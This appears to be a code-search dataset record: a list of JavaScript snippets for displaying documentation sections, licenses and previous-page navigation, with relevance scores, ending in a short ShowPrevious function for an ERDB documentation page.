View.showDocument(keys, tableName, fieldName, docName);\n}", "function Sections () {\n let sections = ToC[categoryIndex].docs[docIndex].sections\n // ... but if the doc is active because performance\n // and then check to make sure the doc actually has sections in the ToC tree\n // if so, execute getSections to assemble the doc section list HTML\n if (active &&\n sections !== undefined &&\n sections.length != 0) {\n return getSections(ToC, categoryIndex, docIndex)\n }\n else {\n return ''\n }\n }", "function main() {\n\n // Sets AsciiDoc file from url query string \n const params = new URLSearchParams(location.search);\n let aDocName = params.get('aDoc');\n if (aDocName === null || aDocName === '') {\n aDocName = 'indice';\n }\n aDoc = aDocs.find(aDoc => aDoc.name === aDocName);\n \n // Updates UI with HTML content from AsciiDoc file\n updateDocContents(aDoc);\n}", "function _renderCourseInfoMain() {\n\t\tpage.title.innerHTML = 'Expectations and FAQs for ' + settings.fulllayout.fullname;\n\t\tpage.title.style.display = 'block';\n\n\t\t_renderCourseInfoSubsections(page.contents);\n\t}", "sectionPage(req) {\n return __awaiter(this, void 0, void 0, function* () {\n });\n }", "function view_table(secid,section)\n{ \n\t$(\"#section_label\").html(section);\n\thidetable('.mark_sheet_table');\n\tshowtable('.student_mark_table');\n\t$.fn.dataTableExt.sErrMode = 'throw';\n\twindow.mark = $('#student_mark_table').dataTable({\n\t\tajax: \"mark/mark_table/\"+clsid+\"/\"+secid,\n\t\tlanguage: {\n\t\t\t\"lengthMenu\": \"_MENU_ Records Per Page\",\n\t\t\t\"zeroRecords\": \"No Mark Sheet Found\",\n\t\t\t\"info\": \"Showing page _PAGE_ of _PAGES_\",\n\t\t\t\"infoEmpty\": \"No records available\",\n\t\t\t\"infoFiltered\": \" -- Filtered from _MAX_ total records\"\n\t\t},\n\t\tdestroy: true,\n\t\tdom: 'Bfrtip',\n\t\tbuttons: [\n\t\t'pdfHtml5',\n\t\t'excelHtml5',\n\t\t'print'\n\t\t],\n\t});\n}", "function displayHelp()\n{\n // Replace the following call if you are modifying this file for your own use.\n dwscripts.displayDWHelp(HELP_DOC);\n}", "function displayHelp()\r\n{\r\n dwscripts.displayDWHelp(HELP_DOC);\r\n}", "function showMainSection(section) {\n // Hide all sections\n hideAllSections();\n // Show a section\n addClassToElement(section, classes.visible);\n}", "function displayHelp()\n{\n dwscripts.displayDWHelp(HELP_DOC);\n}", "function print_cismapper_doc_para(id, doc_type, extra) {\n html = `<p>` + get_cismapper_doc_text(doc_type, extra) + `</p>`;\n document.getElementById(id).insertAdjacentHTML('beforeend', html);\n} // print_cismapper_doc_para", "description() {\n if (this._description) {\n return this._description;\n }\n for (let i = 0; i < this.sections.length; i++) {\n const section = this.sections[i];\n if (!section.doc) {\n continue;\n }\n const desc = this.extractDescription(section.markedDoc());\n if (desc) {\n this._description = desc;\n return desc;\n }\n }\n return '';\n }", "function show() {\n\tcontainer.html(handlebars.templates['newDoc.html']({}));\n\t\n\tcontainer.show();\n\t\n\tcontainer.find('.close').click(function(event) {\n\t\tevent.preventDefault();\n\t\tcontainer.empty();\n\t});\n\t\n\t$('#btnSaveNewDoc').click(function(event) {\n\t\tevent.preventDefault();\n\t\tsave();\n\t});\n\t\n\t$('#newDocPutTemplate').click(function(event) {\n\t\tevent.preventDefault();\n\t\t$('#newDocBib').val(\"@inproceedings{IDENTIFIER,\\nauthor = {Names},\\ntitle = {towardsABetterBib},\\nyear = {2007}\\n}\");\n\t});\n}", "function displayHelp()\r\n{\r\n dwscripts.displayDWHelp(helpDoc);\r\n}", "function showDifferentSection(updatedSection) {\n setShowSection(updatedSection);\n }", "function LicenseSection(license) {\n const licenseURL = LicenseLink(license);\n console.log('licenseURL', licenseURL);\n const licenseSectionText = `Licensed under [${license}](${licenseURL}).`;\n return licenseSectionText;\n}", "function section(name) {\n var el, entries = self.getEntries();\n \n switch (name) {\n case 'document':\n return this.template('2.16.840.1.113883.3.88.11.32.1');\n case 'allergies':\n el = this.template('2.16.840.1.113883.3.88.11.83.102');\n if (el.isEmpty()) {\n el = this.template('2.16.840.1.113883.10.20.1.2');\n }\n el.entries = entries;\n return el;\n case 'demographics':\n return this.template('2.16.840.1.113883.3.88.11.32.1');\n case 'encounters':\n el = this.template('2.16.840.1.113883.3.88.11.83.127');\n if (el.isEmpty()) {\n el = this.template('2.16.840.1.113883.10.20.1.3');\n }\n el.entries = entries;\n return el;\n case 'immunizations':\n el = this.template('2.16.840.1.113883.3.88.11.83.117');\n if (el.isEmpty()) {\n el = this.template('2.16.840.1.113883.10.20.1.6');\n }\n el.entries = entries;\n return el;\n case 'results':\n el = this.template('2.16.840.1.113883.3.88.11.83.122');\n if (el.isEmpty()) {\n el = this.template('2.16.840.1.113883.10.20.1.14');\n }\n el.entries = entries;\n return el;\n case 'medications':\n el = this.template('2.16.840.1.113883.3.88.11.83.112');\n if (el.isEmpty()) {\n el = this.template('2.16.840.1.113883.10.20.1.8');\n }\n el.entries = entries;\n return el;\n case 'problems':\n el = this.template('2.16.840.1.113883.3.88.11.83.103');\n if (el.isEmpty()) {\n el = this.template('2.16.840.1.113883.10.20.1.11');\n }\n el.entries = entries;\n return el;\n case 'procedures':\n el = this.template('2.16.840.1.113883.3.88.11.83.108');\n if (el.isEmpty()) {\n el = this.template('2.16.840.1.113883.10.20.1.12');\n }\n el.entries = entries;\n return el;\n case 'vitals':\n el = this.template('2.16.840.1.113883.3.88.11.83.119');\n if (el.isEmpty()) {\n el = this.template('2.16.840.1.113883.10.20.1.16');\n }\n el.entries = entries;\n return el;\n }\n \n return null;\n }", "function showSection(id)\n{\n\tvar section_object = document.getElementsByTagName(\"section\");\n\t\n\tfor (var i=0; i<section_object.length; i++)\n\t{\n\t\tif (section_object[i].getAttribute(\"id\") != id)\n\t\t{\n\t\t\t// updates all display style property of each section matching != id\n\t\t\tsection_object[i].style.display = \"none\";\n\t\t}\n\t\telse \n\t\t{\n\t\t\t// The one with specified id is set to 'block'\n\t\t\tsection_object[i].style.display = \"block\";\n\t\t}\n\t}\n}", "function renderLicenseSection(license) {\n return `## License\n\n${renderLicenseLink(license)}`\n}", "function Docs() {}", "function nextSection(currentSection, nextSection) { \n document.querySelector('#' + currentSection).style.display = \"none\";\n document.querySelector('#' + nextSection).style.display = \"block\";\n}", "function renderLicenseSection(license) {\n let licenseSection;\n if(license === \"None\"){\n licenseSection=\"\"\n }\n else{\n licenseSection= \n`\n## License\nThis project is licensed under ${license} and can be found [here](./LICENSE)\n`;\n }\n return licenseSection;\n}", "function caml_get_section_table () { return caml_global_data.toc; }", "function viewDepts() {\n let query = `SELECT id as ID, name as \"DEPARTMENT NAME\" FROM department;`;\n connection.query(query, (err, res) => {\n if (err) throw err;\n printTable(res);\n CMS();\n });\n}", "function renderLicenseSection(license) {\n return `${license.name}\\n${license.description.long}\\n\\n${renderLicenseLink(license)}`\n}", "function showDescription(h) {\n\n\tif (document.getElementById('selectdescr'))\n\t{\n\t\t//Checks if there is a detailed description defined\n\t\tif (window['desc'+h])\n\t\t\tdocument.getElementById('selectdescr').innerHTML = \"\"+window['desc'+h];\n\t\telse \n\t\t\tdocument.getElementById('selectdescr').innerHTML = \"No detailed description provided\";\n\t}\n\n\tif (document.getElementById('refnodes_div'))\n\t\tdocument.getElementById('refnodes_div').innerHTML = ref_nodes_select;\n\n\tif (document.getElementById('refnodes_rtt_div'))\n\t\tdocument.getElementById('refnodes_rtt_div').innerHTML = ref_nodes_select_rtt;\n}", "function docsHTML() {\n if(!jetpack.exists('./docs'))\n jetpack.dir('./docs');\n return spawn('node', [\n 'node_modules/documentation/bin/documentation.js',\n 'build',\n './src',\n '--output',\n './docs',\n '--format',\n 'html',\n '--access',\n 'public',\n '--sort-order',\n 'alpha'\n ] , {\n stdio: 'inherit'\n });\n}", "function over(id_doc,id_help,texte,global,chaine)\r\n\t{\r\n\t\tikdoc(id_doc);// Add call of doc page\r\n\t\tset_text_help(id_help,texte,global,chaine,id_doc);\r\n\t}", "function goToSection(e){\n // Remove content when going to 'home' section\n if(e.target.dataset.section == 'home'){\n // Grab Parent Element\n const parent = e.target.parentElement;\n // Grab content wrapper \n const wrapperToRemove = parent.querySelector('.content-wrapper');\n // Remove if already present\n if (wrapperToRemove === null) {}else{\n wrapperToRemove.remove();\n }\n }\n\n // Grab Section Object\n const sectionObj = getSectionObject(e);\n\n // Hide All \"Section\" divs\n const divs = mainContainer.querySelectorAll('div');\n divs.forEach(div => {\n div.classList.remove('show');\n div.style.zIndex = -10;\n })\n\n // Show selected \"Section\" div\n const section = document.querySelector(`.${e.target.dataset.section}`);\n // Delay screen load by 0.5s\n setTimeout(() => {\n section.classList.add('show');\n section.style.zIndex = 10;\n }, 500);\n\n // Load Section\n loadSection(sectionObj);\n\n // Load Section Content\n const sectionText = sectionObj.section;\n sectionObj.loadContent(e);\n }", "function renderSection(\n formSections,\n switchToSection,\n handlersArr,\n optionalParam\n) {\n // select the specific section to be rendered\n const section = formSections[switchToSection];\n const button = document.querySelector('.button.primary-action');\n const backBtn = document.querySelector('.secondary-action');\n // select the specific handler function from the array\n const handlerFn = handlersArr[switchToSection];\n // render the section title\n renderTitle(section);\n // if the value contained in the handlersArr corresponds to a funtion, call it\n if (typeof handlerFn === 'function')\n handlerFn.apply(null, [\n section,\n formSections,\n button,\n backBtn,\n switchToSection,\n optionalParam,\n ]);\n formSections.forEach((item, index) => {\n // if the index is not equal to switchToSection, don't display it\n item.style.display = switchToSection !== index ? 'none' : null;\n });\n}", "function renderLicenseSection(license) {}", "function renderLicenseSection(license) {}", "function renderLicenseSection(license) {}", "function renderLicenseSection(license) {}", "function renderLicenseSection(license) {}", "function renderLicenseSection(license) {}", "function renderLicenseSection(license) {}", "function renderLicenseSection(license) {}", "function renderLicenseSection(license) {}", "function renderLicenseSection(license) {}", "function renderLicenseSection(license) {}", "function renderLicenseSection(license) {}", "function renderLicenseSection(license) {}", "function renderLicenseSection(license) {}", "function renderLicenseSection(license) {}", "function renderLicenseSection(license) {}", "function renderLicenseSection(license) {}", "function renderLicenseSection(license) {}", "async guidepage(req,res){\n res.render('guide.hbs');\n }", "function showSection(name, withStatusBar) {\n if (withStatusBar === undefined)\n withStatusBar = true;\n $(\".section\").hide();\n if (!withStatusBar)\n $(\"#status\").hide();\n else\n $(\"#status\").show();\n\n let sectionToShow = $(\"#\" + name);\n\n if (sectionToShow.size() <= 0) {\n log && console.log(\"[FATAL ERROR] \" + name + \" section is not defined !\");\n alert(\"An error occured, please try again later.\");\n location.reload();\n } else {\n sectionToShow.show();\n bindKeyEvent($(sectionToShow));\n }\n }", "function detailFormatter(index, row, element) {\n\tvar html = '<div align=\"center\"><h1>System requirements</h1></div>\\n\\n';\n\thtml += row['system_requirements'] + '\\n\\n';\n\thtml += '<div align=\"center\"><h1>Description</h1></div>\\n\\n';\n\thtml += row['description'] + '\\n\\n';\n\n\treturn html;\n}", "function composeSection2()\n {\n\n methods.addTOC( \"Portfolio Summary\", \"Top5\" )\n addHeader( 'Portfolio Summary' );\n\n //============================== \n // //\\\\ master placeholder\n //==============================\n var built = \n fm.layt({\n margin : [ 0,0,0,0 ],\n widths : [ '50%', '50%' ],\n pads : { left:10, top:8, right:7, bottom:4 },\n borders :\n [\n [ [false, false, true, true ], [true, false, false, false] ],\n [ [false, true, true, false ], [true, true, false, false] ]\n ],\n cols : 2,\n rows : 2,\n bordCol : '#aaa',\n color: nheap.companyColors.blue_master,\n body: null\n /* \n [\n //:good test\n // [ { text:'tt' }, { text:'tt' } ],\n // [ { text:'tt' }, { text:'tt' } ]\n\n [ {}, {} ],\n [ {}, { text:'tt' }]\n ]\n */\n }).tbl;\n ddCont.push( built );\n\n buildTopLeftTable( built.table.body[0][0] );\n buildTopRightTable( built.table.body[0][1] )\n buildBottomLeftTable( built.table.body[1][0] )\n buildBottomRightTable( built.table.body[1][1] )\n\n\n ddCont[ ddCont.length - 1 ].pageBreak = 'after';\n //============================== \n // \\\\// master placeholder\n //==============================\n }", "function showSection(section, isAnimate) {\n var direction = section.replace(/#/, '');\n // console.log(direction)\n var reqSection = $('.section').filter('[data-section=\"' + direction + '\"]');\n\n var reqSectionPos = reqSection.offset().top - navHeight + 1;\n // console.log(\"reqSectionPos\", reqSectionPos);\n\n if (isAnimate) {\n $('body, html').animate({\n scrollTop: reqSectionPos\n }, 500);\n } else {\n $('body, html').scrollTop(reqSectionPos);\n }\n }", "function renderSection(sectionName) {\n let sections = document.querySelectorAll('section');\n\n sections.forEach((section) => {\n if (!section.classList.contains(sectionName)) section.style.display = 'none';\n else section.style.display = 'grid';\n });\n}", "function openSectionManually(sectionName){\n $(\"#\" + sectionName).show() \n sectionOpenButton = $(\"#showButtonSection\").find(\"button[openSectionID=\\'\" + sectionName + \"\\']\")\n $(sectionOpenButton).hide()\n }", "function showOverview() {\n var links = [];\n $.each(noteSelf.paragraphs, function(index, paragraph) {\n if (paragraph.paragraphClient.getDependencies != undefined) {\n var dependencies = paragraph.paragraphClient.getDependencies();\n $.each(dependencies.inputTables, function(index, inputTable) {\n links.push({ source: inputTable, target: dependencies.name });\n });\n $.each(dependencies.outputTables, function(index, outputTable) {\n links.push({ source: dependencies.name, target: outputTable });\n });\n }\n });\n\n utils.showModalPopup('Overview', utils.generateDirectedGraph(links), $());\n }", "get section() {\n\t\treturn this.__section;\n\t}", "function handle_bulk_subsections(section) {\n\t$('.bulk-supplementary.bulk-supplementary-subsection').hide();\n\tif (section != '') {\n\t\t$('.bulk-supplementary.bulk-supplementary-subsection.' + section).show();\n\t}\n}", "function onChange (chg) {\n prepend('articles', h('article', [\n h('header', [\n h('h4', [chg.doc.title])\n ]),\n h('div', [chg.doc.body]),\n h('hr')\n ]))\n}", "function cssPartSection(cssPart, config) {\n var rows = [[\"Part\", \"Description\"]];\n rows.push.apply(rows, __spread(cssPart.map(function (part) { var _a; return [(part.name && markdownHighlight(part.name)) || \"\", ((_a = part.jsDoc) === null || _a === void 0 ? void 0 : _a.description) || \"\"]; })));\n return markdownHeader(\"CSS Shadow Parts\", 2, config) + \"\\n\" + markdownTable(rows);\n}", "function show() {\n\tapp.getView().render('content/folder/customerserviceaboutus');\n}", "function componentDocblockHandler(documentation, path, importer) {\n documentation.set('description', getDocblockFromComponent(path, importer) || '');\n}", "function showDocumentSuccess(esdoc, id, query, ranking) {\n\tdocument.getElementById(\"searchblock\").style.display = \"none\";\n\tdocument.getElementById(\"resultblock\").style.display = \"none\";\n\tdocument.getElementById(\"docblock\").style.display = \"block\";\n\n\tvar obj = JSON.parse(esdoc);\n\tdocument.getElementById(\"doctitle\").innerHTML = obj._source.title;\n\tdocument.getElementById(\"docauthor\").innerHTML = obj._source.author;\n\tdocument.getElementById(\"docbibliography\").innerHTML = obj._source.bibliography;\n\tdocument.getElementById(\"docbody\").innerHTML = obj._source.body;\n\n\tregisterDocView(user, id, query, ranking);\n}", "function showView(viewId){\n $(\"main > section\").hide();\n \n $(\"#\" + viewId).show();\n \n}", "function getInfoContent(infoSection) {\n // API Fetch\n fetch(\n \"https://cdn.contentful.com/spaces/9635uuvwn9dq/environments/master/entries?access_token=cgtQv23ag7qZw92QlPnJwslq6vWfK8sDwB8fNk62QTI&content_type=presentation\"\n )\n .then((resp) => resp.json())\n .then((data) => processInfo(data, infoSection));\n}", "docs() {\n const listOfDetails = [];\n const helpDoc = this.command.docLink || getDocLink(this.command.id);\n if (!helpDoc) {\n return '';\n }\n const hyperLink = urlUtil.convertToHyperlink('MORE INFO', helpDoc);\n // if the terminal doesn't support hyperlink, mention complete url under More Info\n if (hyperLink.isSupported) {\n listOfDetails.push(chalk.bold(hyperLink.url));\n } else {\n listOfDetails.push(chalk.bold('MORE INFO'));\n listOfDetails.push(indent(helpDoc, 2));\n }\n return listOfDetails.join('\\n');\n }", "function renderLicenseSection(license) {\n\t//\tconsole.log(license);\n\treturn `## License\nDistributed under ${license}.\nRead more about this license [here](${renderLicenseLink(license)})\n\t`;\n}", "function renderLicenseSection(license) {\n if (license === \"NONE\"){\n return \"\";\n }else{\n return `## License \n This project is covered under the ` + license + ` license. Click the link below for more information. \n `\n+ \nrenderLicenseBadge(license) +\n renderLicenseLink(license);\n}}", "function commandLineUsageSections() {\n let sections = [\n {\n header: 'SLCSP Command Line Tool',\n content: clu.header_content()\n },\n {\n header: 'Options',\n optionList: [\n {\n name:\"help\",\n description: \"Print this usage guide.\"\n },\n {\n name: \"csvfile0\",\n description: clu.csvf0_description()\n },\n {\n name: \"dbfile0\",\n description: clu.dbfile0_description()\n },\n {\n name: \"dbtable0\",\n description: clu.dbtable0_description()\n },\n {\n name: \"cwd0\",\n description: clu.cwd0_description()\n },\n {\n name: \"csvfile1\",\n description: clu.csvfile1_description()\n },\n {\n name: \"dbfile1\",\n description: clu.dbfile1_description()\n },\n {\n name: \"dbtable1\",\n description: clu.dbtable1_description()\n },\n {\n name: \"cwd1\",\n description: clu.cwd1_description()\n },\n {\n name: \"csvfile2\",\n description: clu.csvfile2_description()\n },\n {\n name: \"dbfile2\",\n description: clu.dbfile2_description()\n },\n {\n name: \"dbtable2\",\n description: clu.dbtable2_description()\n },\n {\n name: \"cwd2\",\n description: clu.cwd2_description()\n },\n {\n name: \"output\",\n description: clu.output_description()\n },\n {\n name: \"keepdbfiles\",\n description: clu.keepdbfiles_description()\n }\n ]\n }\n ];\n return sections;\n\n}", "function clFun(secId) { \n \n // use scrollIntoView to scroll to the wanted section \n secId.scrollIntoView({behavior: \"smooth\", block: \"start\"});\n}", "function viewMan (man, cb) {\n\n var nre = /([0-9]+)$/\n var num = man.match(nre)[1]\n var section = path.basename(man, '.' + num)\n\n // at this point, we know that the specified man page exists\n var manpath = path.join(__dirname, '..', 'man'), env = {};\n Object.keys(process.env).forEach(function (i) {\n env[i] = process.env[i]\n })\n env.MANPATH = manpath;\n\n var conf = { env: env, customFds: [ 0, 1, 2] }\n var manProcess = spawn('man', [num, section], conf)\n manProcess.on('close', cb)\n\n}", "function getAboutView() {\r\n var xmlhttp = getXMLHTTP();\r\n\r\n xmlhttp.onreadystatechange = function() {\r\n if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {\r\n var div = document.getElementById('custom-main-container');\r\n div.innerHTML = xmlhttp.responseText;\r\n }\r\n };\r\n xmlhttp.open('POST', '../controller/AboutController.php');\r\n xmlhttp.send();\r\n\r\n setSelectedSection(ABOUT_SECTION);\r\n}", "function showPage(toShow) {\r\n $('section').hide();\r\n $(`#${toShow}`).show();\r\n if(toShow == 'viewBooks')\r\n {\r\n getBooks();\r\n }\r\n }", "function getSection(entryId) {\n\n // find the entry\n var foundEntry = _.find(includes.Entry, function (entry) {\n//\n return entry.sys.id === entryId;\n//\n });\n\n return {\n id: entryId,\n bodyText: foundEntry.fields.bodyText,\n bodyParsed: marked.parse(foundEntry.fields.bodyText)\n };\n }", "function switchToSection(sectionId) {\n\tgetMenuLinks(sectionId);\n //console.log(\"sectionId: \", sectionId);\n\t if (!sectionId ||sectionId==\"index.html\") {\n\t\tsectionId = \"home\";\n\t }\n\t \n\t //hide all sections in main .row except section.mySidebar\n\t $(\"main .row\").children().not(\".mySidebar\").hide();\n\t $(\".linksHov li \").css(\"background-color\",\"\");\n\t \n\t //then show the requested section\n\t $('section#'+sectionId).fadeIn(500);\n\t \n\t //if needed get data using AJAX\n\t if (sectionId == \"content-list\") {\n\t\t\tgetSearchPages();\n\t } else if (sectionId == \"admin-form\") {\n\t\t\t$(\"#admin-form .menuLinkFields\").hide();\n\t\t\t$(\"#admin-form .picLinkFields\").hide();\t\t\n\t } else if(sectionId!=\"home\"){\n\t\t\t$(\"#pageByHref\").show();\n\t\t\tgetPage(sectionId);\n\t\t\t\n\t\t}\n}" ]
[ "0.66151744", "0.61328316", "0.58530796", "0.5850244", "0.57007116", "0.56948715", "0.56387067", "0.56066006", "0.5571019", "0.5554343", "0.5553797", "0.5548794", "0.5502301", "0.54891294", "0.54550904", "0.5454415", "0.5430747", "0.5416022", "0.540825", "0.53886276", "0.53695357", "0.53631276", "0.53409004", "0.53340465", "0.5327068", "0.53149635", "0.5314656", "0.53001875", "0.5294961", "0.5287384", "0.52585685", "0.52564806", "0.5239262", "0.5238384", "0.5234932", "0.5221308", "0.5210419", "0.52016413", "0.51982945", "0.51953334", "0.518369", "0.51656896", "0.516325", "0.51513594", "0.5147031", "0.51274854", "0.5127262", "0.5124597", "0.5121351", "0.5091654", "0.5082571", "0.5078979", "0.5070114", "0.5067672", "0.5062265", "0.5057491", "0.5055643", "0.5055643", "0.5055643", "0.5055643", "0.5055643", "0.5055643", "0.5055643", "0.5055643", "0.5055643", "0.5055643", "0.5055643", "0.5055643", "0.5055643", "0.5055643", "0.5055643", "0.5055643", "0.5055643", "0.5055643", "0.5050506", "0.50392747", "0.50372505", "0.5034363", "0.50322574", "0.50252223", "0.50125223", "0.5010861", "0.50071293", "0.49917632", "0.49737722", "0.49684784", "0.49674535", "0.49618572", "0.49582404", "0.49562857", "0.49537185", "0.49477288", "0.49464008", "0.49420387", "0.49261534", "0.49187267", "0.49186203", "0.49175054", "0.49169132", "0.49159017", "0.49146348" ]
0.0
-1
Display the previous section in an ERDB documentation page.
function ShowPrevious(statusThing) { var objectName = statusThing.Pop(); if (objectName != "") ShowBlock(statusThing, objectName); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "previousPage() {\n if (!this.msg) throw new Error(\"Tried to go to previous page but embed pages havn't been created yet.\");\n this.currentPageNumber--;\n if (this.currentPageNumber < 0) this.currentPageNumber = this.pages.length - 1;\n const embed = this.pages[this.currentPageNumber];\n if (this.pageFooter) embed.setFooter(`Page: ${this.currentPageNumber + 1}/${this.pages.length}`);\n this.msg.edit({ embed: embed }).catch(() => null);\n }", "function goPrevious() {\n\tif (pageNum <= 1)\n\t\treturn;\n\tpageNum--;\n\trenderPage(pageNum);\n}", "function goPrevious() {\n if (pageNum <= 1)\n return;\n pageNum--;\n renderPage(pageNum);\n }", "_previous() {\n if (this._page === 1) return;\n\n this._page--;\n this._loadCurrentPage();\n }", "function pagePrev()\n{\n\tif (currentPage>1) {\n\t\tcurrentPage=currentPage - 1;\n\t\tviewPage();\n\t}\n}", "function renderPreviousPage() {\n renderBookmarks(pagination.currentPage - 1);\n}", "function goPrevious() {\n //console.log(\"goPrevious: \" + options.currentPage);\n if (options.currentPage != 1) {\n var p = options.currentPage - 1;\n loadData(p);\n setCurrentPage(p);\n options.currentPage = p;\n pageInfo();\n }\n }", "function PreviousPage() {\n\tif (CurrentPage-1 >= 1){\n\t\tDisplayPage( CurrentPage - 1 )\n\t}\n\telse{\n\t\tPreviousSCO();\n\t}\n}", "function previousPage() { \n if(currentPage == 1) {\n return;\n }\n\n currentPage--;\n getArticlesForPage();\n}", "function previousPage() {\n\t\tsetCurrentPage((page) => page - 1);\n\t}", "function previousPage(){\n if (page > 1)\n {\n setPage(page - 1);\n }\n else {\n // do nothing\n }\n }", "function previous(){\n var goToPage = parseInt(pager.data(\"curr\")) - 1;\n goTo(goToPage);\n }", "previousHandler() {\n if (this.page > 1) {\n this.page = this.page - 1; //decrease page by 1\n this.displayRecordPerPage(this.page);\n }\n }", "prev() {\n const that = this;\n\n that.navigateTo(that.pageIndex - 1);\n }", "previousPage() {\n\t\tthis.setPage(this.state.previous);\n\t}", "function _showPreviousPage() {\n var listDoneConnectors = DataSourcesHelper.getDoneConnectors(graphInfo.connectorType);\n if (listDoneConnectors.length > 0)\n RightMenu.showRightMenu(Pages.addSerieConnectorsStep, listDoneConnectors);\n }", "function _previousStep() {\n if(this._currentStep == 0)\n return;\n\n _showElement.call(this, this._introItems[--this._currentStep].element);\n }", "prevPage() {\n if (!this.isFirstPage) {\n this.currentPageNumber--;\n }\n this.updateData();\n }", "function navigatePrev() {\n\n // Prioritize revealing fragments\n if (previousFragment() === false) {\n if (availableRoutes().up) {\n navigateUp();\n }\n else {\n // Fetch the previous horizontal slide, if there is one\n var previousSlide = document.querySelector(HORIZONTAL_SLIDES_SELECTOR + '.past:nth-child(' + indexh + ')');\n\n if (previousSlide) {\n var v = ( previousSlide.querySelectorAll('section').length - 1 ) || undefined;\n var h = indexh - 1;\n slide(h, v);\n }\n }\n }\n\n }", "previousPage() {\n if (this.getCurrentIndex() === 0) {\n if (this.isScrollLoop() && this.__pages.length > 1) {\n this._doScrollLoop();\n }\n } else {\n this.setCurrentIndex(this.getCurrentIndex() - 1);\n }\n }", "previousPage () {\n if (this.havePreviousPage) {\n this.goToPage(this.paginator.currentPage - 1)\n }\n }", "function showPrev()\n{\n\tcurPage--;\n\tshowContacts();\n}", "previousPage() {\n if (!this.hasPreviousPage()) {\n return;\n }\n const previousPageIndex = this.pageIndex;\n this.pageIndex--;\n this._emitPageEvent(previousPageIndex);\n }", "function previousPage () {\n if (!ctrl.canPageBack()) { return; }\n\n var newOffset = MdTabsPaginationService.decreasePageOffset(getElements(), ctrl.offsetLeft);\n\n // Set the new offset\n ctrl.offsetLeft = fixOffset(newOffset);\n }", "function previousPage(){\n if(currentPage > 1){\n currentPage--;\n loadTable(currentPage);\n }\n}", "prevPage() {\n if (this.page > 1) {\n this.page--;\n this.search();\n }\n }", "function _showPreviousPage() {\n RightMenu.showRightMenu(Pages.fbConnectorsTypeStep, null);\n }", "function previousPage() {\n if (vm.paginationHelper['previousPage'] || vm.paginationHelper['previousPageQueries']) {\n var queryArray = [];\n //Building the query array with any existing query \n queryArray = queryArray.concat(vm.queryArray);\n\n if (vm.actions['LIST'].pagination) {\n createPaginationProvider();\n }\n if (vm.paginationHelper['previousPage']) {\n vm.PaginationProvider.url = vm.paginationHelper['previousPage'];\n }\n else {\n vm.PaginationProvider.url = vm.url;\n //Adding pagination queries to queryArray\n queryArray = queryArray.concat(vm.paginationHelper['previousPageQueries']);\n }\n vm.pageLoader = vm.PaginationProvider\n .list(queryArray)\n .then(function (response) {\n treatResponse(response);\n updatePaginationHelper(vm.paginationHelper.actualPage - 1, response);\n vm.onSuccessList({ elements: vm.catalogElemets });\n })\n .catch(function (errorElements) {\n vm.onErrorList({ error: errorElements });\n });\n }\n else {\n var error = 'No previous page URL or queries found';\n vm.onErrorList({ error: error });\n throw (error);\n }\n }", "function handlePrev() {\n let tempPage = page - 1;\n if (tempPage < 1) {\n tempPage = 1;\n }\n setPage(tempPage);\n }", "getPreviousPage()\n {\n if (!this.hasPreviousPage())\n throw new Error(\"undefined page\");\n this.#assertPage(this.#previousPage);\n this.#currentPageNumber -= 1;\n }", "function onPrevPage() {\n if (GridCurrentPageNumber > 0) {\n GridCurrentPageNumber--;\n }\n\tIsFromBackButton = true;\n loadRecordsDelayed();\n}", "function setPrevious(p_page_num, p_search_string){\n \ttry{\n var previous = document.getElementById(\"previous\");\n var prev_link = document.getElementById(\"prev_link\");\n if(p_page_num == 1){\n previous.style.display = \"none\";\n }else{\n var previous_page = p_page_num - 1;\n previous.style.display = \"inline\";\n prev_link.href = \"searchResults.php?searchInput=\" + p_search_string + \"&\" + \"page=\" + previous_page;\n }\n \t}\n \tcatch(e) {\n\t\t\tlog(\"searchResults.js\", e.lineNumber, e);\n \t}\n }", "onPrevClick(){\n if(this.state.currentPage - 1 >= 1){\n this.changePage(this.state.currentPage - 1);\n }\n }", "function prev() {\n pageNumber--;\n getEmployeeDetails(myArr);\n }", "function Previous() {\n currentIndex = (currentIndex <= 0) ? currentIndex : (currentIndex - 1);\n // Call function to display the beer informations\n displayBeers();\n}", "function goToPrevious() {\n goTo(_currentContext.previous);\n }", "function goPrevPage(){\r\n // ensure page number is not less than 1\r\n if(page > 1){\r\n page -= 1;\r\n }\r\n}", "function previous() {\n var nextButton = gAppState.checkId(\"nextBtnID\", \"nextBtnID2\");\n var prevButton = gAppState.checkId(\"prevBtnID\", \"prevBtnID2\");\n var remainder = tableSize - limit;\n\n if (prevButton.classList.contains('disabled')) { // stop action if button is disabled\n return false;\n }\n\n if (offset > 0) { // if there is a previous page\n offset -= parseInt(limit);\n buttonDisplay();\n }\n\n // refresh table\n if (resultMode == \"bn\") {\n bnQueryGen();\n } else if (resultMode == \"query\") {\n queryGen();\n } else {\n updateTable();\n }\n}", "function previousPage() {\r\n paginacion(prevPageToken);\r\n}", "function previousStep(){this._direction=\"backward\";if(this._currentStep===0){return false;}--this._currentStep;var nextStep=this._introItems[this._currentStep];var continueStep=true;if(typeof this._introBeforeChangeCallback!==\"undefined\"){continueStep=this._introBeforeChangeCallback.call(this,nextStep&&nextStep.element);}// if `onbeforechange` returned `false`, stop displaying the element\nif(continueStep===false){++this._currentStep;return false;}_showElement.call(this,nextStep);}", "function previous()\n{\n\tnewSlide = sliderint-1;\n\tshowSlide(newSlide);\n}", "function RenderPreviousButton() {\n\tvar value = retrieveDataValue(\"adl.nav.request_valid.previous\");\n\treturn value;\n}", "function onClickNaviPrev(el) {\n if(curPageNumber <= 0) {\n return false;\n }\n curPageNumber = curPageNumber -1;\n refreshTable();\n debug('Prev button clicked. page number : ' + curPageNumber);\n }", "__previousStep() {\n this.openPreviousStep();\n }", "goToPrev () {\n\t\t\tif (this.canGoToPrev) {\n\t\t\t\tthis.goTo(this.currentSlide - 1)\n\t\t\t}\n\t\t}", "previousPage(){\n var prev = parseInt(this.state.page)-1; \n this.loadData(prev, 'prev', ''); \n }", "'click #cb-prev-btn'( e, t ) {\n e.preventDefault();\n //HIDE EDITING TOOLBARS\n $( '#cb-text-toolbar' ).hide();\n $( '#cb-media-toolbar' ).hide();\n $( '#cb-title-toolbar' ).hide();\n $( '#cb-video-toolbar' ).hide();\n\n $('#cb-current').val(null);\n \n\n let p = t.page.get()\n , chk = P.dumpPage(p);\n \n if ( p <= 1 ) {\n p = 1;\n } else {\n p -= 1;\n }\n t.page.set( p );\n \n if ( chk == undefined ) {\n return;\n }\n \n let arr = P.dumpPage(p);\n Render.render( e, t, arr, P 